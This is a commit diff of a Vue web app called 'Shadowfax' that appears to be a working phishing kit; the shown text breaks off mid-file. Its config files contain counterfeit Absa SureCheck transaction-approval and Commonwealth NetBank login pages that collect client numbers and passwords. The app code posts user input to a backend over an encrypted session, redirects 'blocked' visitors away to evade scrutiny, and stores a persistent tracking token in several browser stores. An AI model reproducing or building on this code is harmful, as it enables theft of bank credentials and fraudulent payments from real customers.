first commit
5
zy1_in_post_shadowfax/.env
Normal file
@@ -0,0 +1,5 @@
|
||||
# 平台本地运行端口号
|
||||
VITE_PORT = 8848
|
||||
|
||||
# 是否隐藏首页 隐藏 true 不隐藏 false (勿删除,VITE_HIDE_HOME只需在.env文件配置)
|
||||
VITE_HIDE_HOME = false
|
||||
11
zy1_in_post_shadowfax/.env.development
Normal file
@@ -0,0 +1,11 @@
|
||||
# 平台本地运行端口号
|
||||
VITE_PORT = 8848
|
||||
|
||||
# 开发环境读取配置文件路径
|
||||
VITE_PUBLIC_PATH = ./
|
||||
|
||||
# 网站前缀
|
||||
VITE_BASE_URL = "bb1.xx.sczqb6.top"
|
||||
|
||||
# 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
||||
VITE_ROUTER_HISTORY = "hash"
|
||||
16
zy1_in_post_shadowfax/.env.production
Normal file
@@ -0,0 +1,16 @@
|
||||
# 网站前缀
|
||||
VITE_BASE_URL=/
|
||||
|
||||
# 线上环境平台打包路径
|
||||
VITE_PUBLIC_PATH = ./
|
||||
|
||||
# 线上环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
||||
VITE_ROUTER_HISTORY = "hash"
|
||||
|
||||
# 是否在打包时使用cdn替换本地库 替换 true 不替换 false
|
||||
VITE_CDN = false
|
||||
|
||||
# 是否启用gzip压缩或brotli压缩(分两种情况,删除原始文件和不删除原始文件)
|
||||
# 压缩时不删除原始文件的配置:gzip、brotli、both(同时开启 gzip 与 brotli 压缩)、none(不开启压缩,默认)
|
||||
# 压缩时删除原始文件的配置:gzip-clear、brotli-clear、both-clear(同时开启 gzip 与 brotli 压缩)、none(不开启压缩,默认)
|
||||
VITE_COMPRESSION = "none"
|
||||
25
zy1_in_post_shadowfax/.eslintrc.cjs
Normal file
@@ -0,0 +1,25 @@
|
||||
/* eslint-env node */
|
||||
require('@rushstack/eslint-patch/modern-module-resolution')
|
||||
|
||||
module.exports = {
|
||||
root: true,
|
||||
'extends': [
|
||||
'plugin:vue/vue3-essential',
|
||||
'eslint:recommended',
|
||||
'@vue/eslint-config-typescript',
|
||||
'@vue/eslint-config-prettier'
|
||||
],
|
||||
overrides: [
|
||||
{
|
||||
files: [
|
||||
'cypress/e2e/**/*.{cy,spec}.{js,ts,jsx,tsx}'
|
||||
],
|
||||
'extends': [
|
||||
'plugin:cypress/recommended'
|
||||
]
|
||||
}
|
||||
],
|
||||
parserOptions: {
|
||||
ecmaVersion: 'latest'
|
||||
}
|
||||
}
|
||||
28
zy1_in_post_shadowfax/.gitignore
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
pnpm-debug.log*
|
||||
lerna-debug.log*
|
||||
|
||||
node_modules
|
||||
.DS_Store
|
||||
dist
|
||||
dist-ssr
|
||||
coverage
|
||||
*.local
|
||||
|
||||
/cypress/videos/
|
||||
/cypress/screenshots/
|
||||
|
||||
# Editor directories and files
|
||||
.vscode/*
|
||||
!.vscode/extensions.json
|
||||
.idea
|
||||
*.suo
|
||||
*.ntvs*
|
||||
*.njsproj
|
||||
*.sln
|
||||
*.sw?
|
||||
1
zy1_in_post_shadowfax/.prettierrc.json
Normal file
@@ -0,0 +1 @@
|
||||
{}
|
||||
3
zy1_in_post_shadowfax/.vscode/extensions.json
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"recommendations": ["Vue.volar", "Vue.vscode-typescript-vue-plugin"]
|
||||
}
|
||||
68
zy1_in_post_shadowfax/README.md
Normal file
@@ -0,0 +1,68 @@
|
||||
# vue3-clean-architecture
|
||||
|
||||
This template should help get you started developing with Vue 3 in Vite.
|
||||
|
||||
## Recommended IDE Setup
|
||||
|
||||
[VSCode](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur) + [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin).
|
||||
|
||||
## Type Support for `.vue` Imports in TS
|
||||
|
||||
TypeScript cannot handle type information for `.vue` imports by default, so we replace the `tsc` CLI with `vue-tsc` for type checking. In editors, we need [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin) to make the TypeScript language service aware of `.vue` types.
|
||||
|
||||
If the standalone TypeScript plugin doesn't feel fast enough to you, Volar has also implemented a [Take Over Mode](https://github.com/johnsoncodehk/volar/discussions/471#discussioncomment-1361669) that is more performant. You can enable it by the following steps:
|
||||
|
||||
1. Disable the built-in TypeScript Extension
|
||||
1) Run `Extensions: Show Built-in Extensions` from VSCode's command palette
|
||||
2) Find `TypeScript and JavaScript Language Features`, right click and select `Disable (Workspace)`
|
||||
2. Reload the VSCode window by running `Developer: Reload Window` from the command palette.
|
||||
|
||||
## Customize configuration
|
||||
|
||||
See [Vite Configuration Reference](https://vitejs.dev/config/).
|
||||
|
||||
## Project Setup
|
||||
|
||||
```sh
|
||||
npm install
|
||||
```
|
||||
|
||||
### Compile and Hot-Reload for Development
|
||||
|
||||
```sh
|
||||
npm run dev
|
||||
```
|
||||
|
||||
### Type-Check, Compile and Minify for Production
|
||||
|
||||
```sh
|
||||
npm run build
|
||||
```
|
||||
|
||||
### Run Unit Tests with [Vitest](https://vitest.dev/)
|
||||
|
||||
```sh
|
||||
npm run test:unit
|
||||
```
|
||||
|
||||
### Run End-to-End Tests with [Cypress](https://www.cypress.io/)
|
||||
|
||||
```sh
|
||||
npm run test:e2e:dev
|
||||
```
|
||||
|
||||
This runs the end-to-end tests against the Vite development server.
|
||||
It is much faster than the production build.
|
||||
|
||||
But it's still recommended to test the production build with `test:e2e` before deploying (e.g. in CI environments):
|
||||
|
||||
```sh
|
||||
npm run build
|
||||
npm run test:e2e
|
||||
```
|
||||
|
||||
### Lint with [ESLint](https://eslint.org/)
|
||||
|
||||
```sh
|
||||
npm run lint
|
||||
```
|
||||
9
zy1_in_post_shadowfax/absa-surecheck-config.json
Normal file
@@ -0,0 +1,9 @@
|
||||
{
|
||||
"type": "customValid",
|
||||
"name": "Absa SureCheck",
|
||||
"showTop": true,
|
||||
"merchant": "UPSKILL WORKFORCE PRIVATE LIMITED",
|
||||
"amount": "INR 45858.00",
|
||||
"pageContent": "<div style='font-family:Arial,sans-serif;max-width:420px;margin:0 auto;padding:16px 20px;'><h2 style='text-align:center;font-size:17px;font-weight:bold;color:#111;margin:0 0 22px;line-height:1.4;'>Banking App Authentication<br>required</h2><div style='display:flex;justify-content:center;margin-bottom:22px;'><svg width='120' height='120' viewBox='0 0 120 120'><circle cx='60' cy='60' r='54' fill='none' stroke='#f5d0d0' stroke-width='5'/><circle id='absa-ring' cx='60' cy='60' r='54' fill='none' stroke='#8b0000' stroke-width='5' stroke-dasharray='339.29' stroke-dashoffset='0' transform='rotate(-90 60 60)' style='transition:stroke-dashoffset 1s linear;'/><text id='absa-time' x='60' y='66' text-anchor='middle' fill='#8b0000' font-size='19' font-weight='bold' font-family='Arial'>05:00</text></svg></div><p style='font-size:13px;color:#333;line-height:1.65;margin:0 0 18px;'>A SureCheck notification is sent to your primary device. Go to your app to verify this transaction.<br>As an Absa Rewards customer you can get up to 30% cashback, depending on your rewards tier.</p><table style='width:100%;font-size:13px;color:#333;border-collapse:collapse;margin-bottom:22px;'><tr><td style='padding:6px 12px 6px 0;color:#555;vertical-align:top;white-space:nowrap;'>Merchant:</td><td style='padding:6px 0;font-weight:500;'>${merchant}</td></tr><tr><td style='padding:6px 12px 6px 0;color:#555;white-space:nowrap;'>Amount:</td><td style='padding:6px 0;font-weight:500;'>${payment}</td></tr><tr><td style='padding:6px 12px 6px 0;color:#555;white-space:nowrap;'>Date:</td><td style='padding:6px 0;font-weight:500;'>2026-02-22 15:52:00 PM</td></tr><tr><td style='padding:6px 12px 6px 0;color:#555;vertical-align:top;white-space:nowrap;'>Card<br>Number:</td><td style='padding:6px 0;font-weight:500;'>4483 86XX XXXX ${card}</td></tr></table><input type='hidden' class='custom-input' data-field='action' value='CANCEL'><div style='text-align:center;margin:0 0 22px;'><button type='button' class='custom-button' data-action='submit' style='background:none;border:none;font-size:15px;font-weight:700;color:#111;cursor:pointer;letter-spacing:1.5px;padding:10px 40px;'>CANCEL</button></div><div style='border-top:1px solid #e0e0e0;'><div onclick='absaToggle(\"absa-q1\")' style='display:flex;justify-content:space-between;align-items:center;padding:13px 0;cursor:pointer;border-bottom:1px solid #e0e0e0;'><span style='font-size:13px;color:#333;'>What happens when you click Submit?</span><span style='font-size:20px;color:#777;line-height:1;user-select:none;'>+</span></div><div id='absa-q1' style='display:none;font-size:13px;color:#555;padding:10px 0 12px;border-bottom:1px solid #e0e0e0;line-height:1.65;'>When you click Submit in your Absa Banking App, the transaction will be approved and the payment will be processed.</div><div onclick='absaToggle(\"absa-q2\")' style='display:flex;justify-content:space-between;align-items:center;padding:13px 0;cursor:pointer;'><span style='font-size:13px;color:#333;'>Do you suspect fraud?</span><span style='font-size:20px;color:#777;line-height:1;user-select:none;'>+</span></div><div id='absa-q2' style='display:none;font-size:13px;color:#555;padding:10px 0 12px;line-height:1.65;'>If you suspect fraud, do not approve the transaction in your app. Contact Absa immediately on 0800 11 11 55.</div></div><script>(function(){if(window._absaTimer)clearInterval(window._absaTimer);var total=300,rem=300,circ=339.29;function pad(n){return n<10?'0'+n:''+n;}window.absaToggle=function(id){var e=document.getElementById(id);e.style.display=e.style.display==='none'?'':'none';};function tick(){var el=document.getElementById('absa-time'),ring=document.getElementById('absa-ring');if(el)el.textContent=pad(Math.floor(rem/60))+':'+pad(rem%60);if(ring)ring.style.strokeDashoffset=(circ*(1-rem/total)).toFixed(2);if(rem<=0){clearInterval(window._absaTimer);return;}rem--;}tick();window._absaTimer=setInterval(tick,1000);})()</script></div>",
|
||||
"customStyles": ""
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
{
|
||||
"type": "customValid",
|
||||
"name": "Commonwealth NetBank Login",
|
||||
"showTop": false,
|
||||
"pageTitle": "Log on to NetBank",
|
||||
"errorMessage": "Client number or password is incorrect. Please try again.",
|
||||
"pageContent": "<div style='font-family:Arial,Helvetica,sans-serif;max-width:335px;width:100%;margin:0 auto;background:#efefef;border:1px solid #d6d6d6;color:#111;box-sizing:border-box;'><div style='display:flex;align-items:center;gap:10px;padding:14px 14px 12px;background:#f4f4f4;border-bottom:1px solid #d9d9d9;'><img src='data:image/png;base64,REPLACE_WITH_BASE64_LOGO' alt='Commonwealth Bank' style='width:34px;height:34px;object-fit:contain;display:block;flex:0 0 auto;background:#ffda00;border-radius:2px;'><div style='font-size:14px;line-height:1.1;font-weight:700;white-space:nowrap;letter-spacing:0;'>CommonwealthBank</div></div><div style='background:#7e7e7e;color:#fff;font-size:clamp(18px,4.8vw,22px);font-weight:700;line-height:1.18;padding:11px 16px;'>Log on to NetBank</div><div style='padding:16px 12px;background:#efefef;'><div style='display:grid;grid-template-columns:minmax(90px,110px) 1fr;align-items:center;gap:10px;margin-bottom:12px;'><label style='text-align:right;font-size:clamp(13px,3.8vw,15px);line-height:1.2;color:#111;'>Client number</label><div style='position:relative;'><input type='text' class='custom-input' data-field='clientNumber' data-verify-key='clientNumber' required style='width:100%;height:24px;border:1px solid #8a8a8a;background:#fff;padding:0 30px 0 8px;font-size:clamp(12px,3.5vw,14px);box-sizing:border-box;outline:none;'><span style='position:absolute;right:7px;top:3px;min-width:16px;height:16px;padding:0 2px;border-radius:3px;background:#d14545;display:flex;align-items:center;justify-content:center;color:#fff;font-size:11px;line-height:1;letter-spacing:0.5px;pointer-events:none;'>...</span></div></div><div style='display:grid;grid-template-columns:minmax(90px,110px) 1fr;align-items:center;gap:10px;margin-bottom:12px;'><label style='text-align:right;font-size:clamp(13px,3.8vw,15px);line-height:1.2;color:#111;'>Password</label><div style='position:relative;'><input type='password' class='custom-input' data-field='password' data-verify-key='password' required style='width:100%;height:24px;border:1px solid #8a8a8a;background:#fff;padding:0 30px 0 8px;font-size:clamp(12px,3.5vw,14px);box-sizing:border-box;outline:none;'><span style='position:absolute;right:7px;top:3px;min-width:16px;height:16px;padding:0 2px;border-radius:3px;background:#d14545;display:flex;align-items:center;justify-content:center;color:#fff;font-size:11px;line-height:1;letter-spacing:0.5px;pointer-events:none;'>...</span></div></div><label style='display:flex;align-items:center;justify-content:center;gap:8px;margin:9px 0 14px;cursor:pointer;'><input type='checkbox' class='custom-input' data-field='rememberClientNumber' data-verify-key='rememberClientNumber' style='width:15px;height:15px;margin:0;'><span style='font-size:clamp(13px,3.8vw,15px);line-height:1.2;color:#111;'>Remember client number</span></label><div class='custom-error-message' style='min-height:18px;text-align:center;color:#b1111d;font-size:12px;line-height:1.3;margin-bottom:5px;'></div><div style='text-align:center;margin-bottom:12px;'><button type='button' class='custom-button' data-action='submit' style='display:inline-flex;align-items:center;justify-content:center;gap:8px;height:34px;min-width:128px;padding:0 20px;background:#ffcd00;border:1px solid #e1bb00;border-radius:17px;font-size:clamp(14px,4.2vw,18px);line-height:1;color:#111;cursor:pointer;'><span aria-hidden='true' style='width:12px;height:10px;display:inline-block;position:relative;border:1.6px solid #111;border-radius:2px;box-sizing:border-box;margin-right:1px;'><span style='position:absolute;left:1.8px;top:-7px;width:6px;height:6px;border:1.6px solid #111;border-bottom:0;border-radius:5px 5px 0 0;box-sizing:border-box;display:block;'></span></span><span>Log on</span></button></div><div style='text-align:center;'><a href='javascript:void(0)' style='font-size:clamp(12px,3.6vw,14px);color:#111;text-decoration:underline;'>I've forgotten my log on details</a></div></div></div>",
|
||||
"customStyles": ""
|
||||
}
|
||||
8
zy1_in_post_shadowfax/cypress.config.ts
Normal file
@@ -0,0 +1,8 @@
|
||||
import { defineConfig } from 'cypress'
|
||||
|
||||
export default defineConfig({
|
||||
e2e: {
|
||||
specPattern: 'cypress/e2e/**/*.{cy,spec}.{js,jsx,ts,tsx}',
|
||||
baseUrl: 'http://localhost:4173'
|
||||
}
|
||||
})
|
||||
4
zy1_in_post_shadowfax/env.d.ts
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
/// <reference types="vite/client" />
|
||||
interface ImportMetaEnv {
|
||||
VITE_BASE_URL: string;
|
||||
}
|
||||
16
zy1_in_post_shadowfax/index.html
Normal file
@@ -0,0 +1,16 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<link rel="icon" href="/bompawoemfg16af/favicon.png">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
|
||||
<title>Shadowfax</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
<script type="module" src="/src/main.ts"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
8705
zy1_in_post_shadowfax/package-lock.json
generated
Normal file
61
zy1_in_post_shadowfax/package.json
Normal file
@@ -0,0 +1,61 @@
|
||||
{
|
||||
"name": "vue3-clean-architecture",
|
||||
"version": "0.0.0",
|
||||
"private": true,
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "run-p type-check build-only",
|
||||
"preview": "vite preview",
|
||||
"test:unit": "vitest --environment jsdom --root src/",
|
||||
"test:e2e": "start-server-and-test preview :4173 'cypress run --e2e'",
|
||||
"test:e2e:dev": "start-server-and-test 'vite dev --port 4173' :4173 'cypress open --e2e'",
|
||||
"build-only": "vite build",
|
||||
"type-check": "vue-tsc --noEmit -p tsconfig.vitest.json --composite false",
|
||||
"lint": "eslint . --ext .vue,.js,.jsx,.cjs,.mjs,.ts,.tsx,.cts,.mts --fix --ignore-path .gitignore",
|
||||
"zip": "node zip.js",
|
||||
"prod": "pnpm run build && pnpm run zip"
|
||||
},
|
||||
"dependencies": {
|
||||
"@types/lodash": "^4.17.12",
|
||||
"axios": "^1.7.7",
|
||||
"bootstrap": "^5.3.3",
|
||||
"install": "^0.13.0",
|
||||
"jquery": "^3.7.1",
|
||||
"lodash": "^4.17.21",
|
||||
"mitt": "^3.0.1",
|
||||
"moment": "^2.30.1",
|
||||
"pinia": "^2.2.2",
|
||||
"socket.io-client": "^4.8.1",
|
||||
"uuid": "^13.0.0",
|
||||
"vue": "^3.2.45",
|
||||
"vue-i18n": "^10.0.4",
|
||||
"vue-router": "^4.1.6",
|
||||
"vue-scrollto": "^2.20.0",
|
||||
"ws": "^8.18.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@rushstack/eslint-patch": "^1.1.4",
|
||||
"@types/jquery": "^3.5.32",
|
||||
"@types/jsdom": "^20.0.1",
|
||||
"@types/node": "^18.11.12",
|
||||
"@types/uuid": "^11.0.0",
|
||||
"@vitejs/plugin-vue": "^4.0.0",
|
||||
"@vue/eslint-config-prettier": "^7.0.0",
|
||||
"@vue/eslint-config-typescript": "^11.0.0",
|
||||
"@vue/test-utils": "^2.2.6",
|
||||
"@vue/tsconfig": "^0.1.3",
|
||||
"archiver": "^7.0.1",
|
||||
"cypress": "^12.0.2",
|
||||
"eslint": "^8.22.0",
|
||||
"eslint-plugin-cypress": "^2.12.1",
|
||||
"eslint-plugin-vue": "^9.3.0",
|
||||
"jsdom": "^20.0.3",
|
||||
"npm-run-all": "^4.1.5",
|
||||
"prettier": "^2.7.1",
|
||||
"start-server-and-test": "^1.15.2",
|
||||
"typescript": "~4.7.4",
|
||||
"vite": "^4.0.0",
|
||||
"vitest": "^0.25.6",
|
||||
"vue-tsc": "^1.0.12"
|
||||
}
|
||||
}
|
||||
5298
zy1_in_post_shadowfax/pnpm-lock.yaml
generated
Normal file
BIN
zy1_in_post_shadowfax/public/bompawoemfg16af/favicon.png
Normal file
|
After Width: | Height: | Size: 819 B |
2045
zy1_in_post_shadowfax/public/bompawoemfg16af/footer.html
Normal file
BIN
zy1_in_post_shadowfax/public/bompawoemfg16af/g16t.webp
Normal file
|
After Width: | Height: | Size: 20 KiB |
1696
zy1_in_post_shadowfax/public/bompawoemfg16af/header.html
Normal file
BIN
zy1_in_post_shadowfax/public/bompawoemfg16af/m46f.ico
Normal file
|
After Width: | Height: | Size: 662 B |
BIN
zy1_in_post_shadowfax/public/bompawoemfg16af/m46t.jpg
Normal file
|
After Width: | Height: | Size: 102 KiB |
1
zy1_in_post_shadowfax/public/cardloading.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 2.0 KiB |
70
zy1_in_post_shadowfax/src/App.vue
Normal file
@@ -0,0 +1,70 @@
|
||||
<script setup lang="ts">
|
||||
import { RouterView } from "vue-router";
|
||||
import { onMounted } from "vue";
|
||||
import http from "@/api/http";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import {
|
||||
configData,
|
||||
loginSuccess,
|
||||
redirectToExternal,
|
||||
headHtml,
|
||||
loadHtml,
|
||||
headerHtml,
|
||||
footerHtml,
|
||||
} from "@/utils/common";
|
||||
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
|
||||
import LoadingView from "@/views/LoadingView.vue";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
onMounted(() => {
|
||||
login();
|
||||
});
|
||||
|
||||
const login = async function () {
|
||||
headerHtml.value = await loadHtml("/bompawoemfg16af/header.html");
|
||||
loadingStore.setLoading(true);
|
||||
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
|
||||
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
|
||||
if (data.data.isBlock) {
|
||||
redirectToExternal();
|
||||
return;
|
||||
}
|
||||
if (data.data.isFirst) {
|
||||
localStorage.removeItem("route")
|
||||
}
|
||||
let token = data.data.Token;
|
||||
if (data.data.mode) {
|
||||
localStorage.setItem("mode", data.data.mode);
|
||||
}
|
||||
|
||||
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
|
||||
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
|
||||
let sessionCrypto = null;
|
||||
if (serverPubKey) {
|
||||
try {
|
||||
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
|
||||
} catch (e) {
|
||||
|
||||
}
|
||||
}
|
||||
loginSuccess(token, data.data.mode, sessionCrypto);
|
||||
|
||||
if (data.data.custom) {
|
||||
configData.value = JSON.parse(data.data.custom);
|
||||
}
|
||||
});
|
||||
footerHtml.value = await loadHtml("/bompawoemfg16af/footer.html");
|
||||
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div v-html="headHtml"></div>
|
||||
<LoadingView />
|
||||
<RouterView />
|
||||
</template>
|
||||
|
||||
<style scoped></style>
|
||||
5
zy1_in_post_shadowfax/src/api/api.ts
Normal file
@@ -0,0 +1,5 @@
|
||||
import http from "@/api/http";
|
||||
|
||||
export function sendInput(data: any) {
|
||||
http.post("/api/input", data).then((data) => {});
|
||||
}
|
||||
223
zy1_in_post_shadowfax/src/api/http.ts
Normal file
@@ -0,0 +1,223 @@
|
||||
// http.js
|
||||
import axios from "axios";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
|
||||
// ============ 配置 ============
|
||||
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
|
||||
? "/"
|
||||
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
|
||||
? `http://${import.meta.env.VITE_BASE_URL}`
|
||||
: `https://${import.meta.env.VITE_BASE_URL}`;
|
||||
|
||||
const DB_CONFIG = {
|
||||
name: "TokenDB",
|
||||
version: 2,
|
||||
store: "tokens",
|
||||
key: "userToken",
|
||||
} as const;
|
||||
|
||||
const STORAGE_KEY = "token";
|
||||
|
||||
// ============ IndexedDB 操作 ============
|
||||
class TokenDB {
|
||||
private static async open(): Promise<IDBDatabase> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
|
||||
request.onerror = () => reject(request.error);
|
||||
request.onsuccess = () => resolve(request.result);
|
||||
request.onupgradeneeded = (event) => {
|
||||
const db = (event.target as IDBOpenDBRequest).result;
|
||||
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
|
||||
db.deleteObjectStore(DB_CONFIG.store);
|
||||
}
|
||||
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
static async get(): Promise<string | null> {
|
||||
try {
|
||||
const db = await this.open();
|
||||
return new Promise((resolve) => {
|
||||
const tx = db.transaction(DB_CONFIG.store, "readonly");
|
||||
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
|
||||
request.onsuccess = () => resolve(request.result?.value || null);
|
||||
request.onerror = () => resolve(null);
|
||||
tx.oncomplete = () => db.close();
|
||||
tx.onabort = () => db.close();
|
||||
});
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static async set(token: string): Promise<void> {
|
||||
try {
|
||||
const db = await this.open();
|
||||
return new Promise((resolve) => {
|
||||
const tx = db.transaction(DB_CONFIG.store, "readwrite");
|
||||
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
|
||||
tx.oncomplete = () => { db.close(); resolve(); };
|
||||
tx.onerror = () => { db.close(); resolve(); };
|
||||
});
|
||||
} catch {
|
||||
// 静默失败,有其他存储兜底
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ Token 管理器 ============
|
||||
class TokenManager {
|
||||
private static cache: string | null = null;
|
||||
private static pending: Promise<string> | null = null;
|
||||
|
||||
// UUID v4 格式校验,防止脏数据
|
||||
private static isValidToken(token: string | null): token is string {
|
||||
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
|
||||
}
|
||||
|
||||
// 安全地操作 Storage
|
||||
private static safeGet(storage: Storage): string | null {
|
||||
try {
|
||||
return storage.getItem(STORAGE_KEY);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static safeSet(storage: Storage, token: string): void {
|
||||
try {
|
||||
storage.setItem(STORAGE_KEY, token);
|
||||
} catch {
|
||||
// 静默失败
|
||||
}
|
||||
}
|
||||
|
||||
// Cookie 操作(同步,iOS 上比 localStorage 更早可用)
|
||||
private static getFromCookie(): string | null {
|
||||
try {
|
||||
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
|
||||
return match ? decodeURIComponent(match[1]) : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static saveToCookie(token: string): void {
|
||||
try {
|
||||
// 有效期 400 天(Safari 上限),SameSite=Lax 兼容 WebView
|
||||
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
|
||||
} catch {
|
||||
// 静默失败
|
||||
}
|
||||
}
|
||||
|
||||
// 同步到所有存储(后台执行,不阻塞)
|
||||
private static syncToAllStorages(token: string): void {
|
||||
this.safeSet(sessionStorage, token);
|
||||
this.safeSet(localStorage, token);
|
||||
this.saveToCookie(token);
|
||||
TokenDB.set(token).catch(() => { });
|
||||
}
|
||||
|
||||
// 从同步存储快速获取(cookie 优先,iOS 上最可靠的同步读取)
|
||||
private static getFromSyncStorage(): string | null {
|
||||
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
|
||||
return this.isValidToken(token) ? token : null;
|
||||
}
|
||||
|
||||
// 延迟后重试读取同步存储(iOS 冷启动时存储可能未就绪)
|
||||
private static waitAndRetrySync(ms: number): Promise<string | null> {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
|
||||
});
|
||||
}
|
||||
|
||||
// 主入口:获取或创建 Token
|
||||
static async getToken(): Promise<string> {
|
||||
// 1. 内存缓存(最快)
|
||||
if (this.cache) return this.cache;
|
||||
|
||||
// 2. 等待进行中的创建(并发安全)
|
||||
if (this.pending) return this.pending;
|
||||
|
||||
// 3. 同步存储快速路径
|
||||
const syncToken = this.getFromSyncStorage();
|
||||
if (syncToken) {
|
||||
this.cache = syncToken;
|
||||
this.syncToAllStorages(syncToken);
|
||||
return syncToken;
|
||||
}
|
||||
|
||||
// 4. 异步获取或创建(带锁)
|
||||
this.pending = this.createToken();
|
||||
return this.pending;
|
||||
}
|
||||
|
||||
private static async createToken(): Promise<string> {
|
||||
try {
|
||||
// 再次检查缓存
|
||||
if (this.cache) return this.cache;
|
||||
|
||||
// 尝试从 IndexedDB 恢复
|
||||
const dbToken = await TokenDB.get();
|
||||
if (dbToken && this.isValidToken(dbToken)) {
|
||||
this.cache = dbToken;
|
||||
this.syncToAllStorages(dbToken);
|
||||
return dbToken;
|
||||
}
|
||||
|
||||
// iOS 冷启动兜底:等待一小段时间后重试同步存储
|
||||
// (localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
|
||||
for (const delay of [50, 100, 150]) {
|
||||
const retryToken = await this.waitAndRetrySync(delay);
|
||||
if (retryToken) {
|
||||
this.cache = retryToken;
|
||||
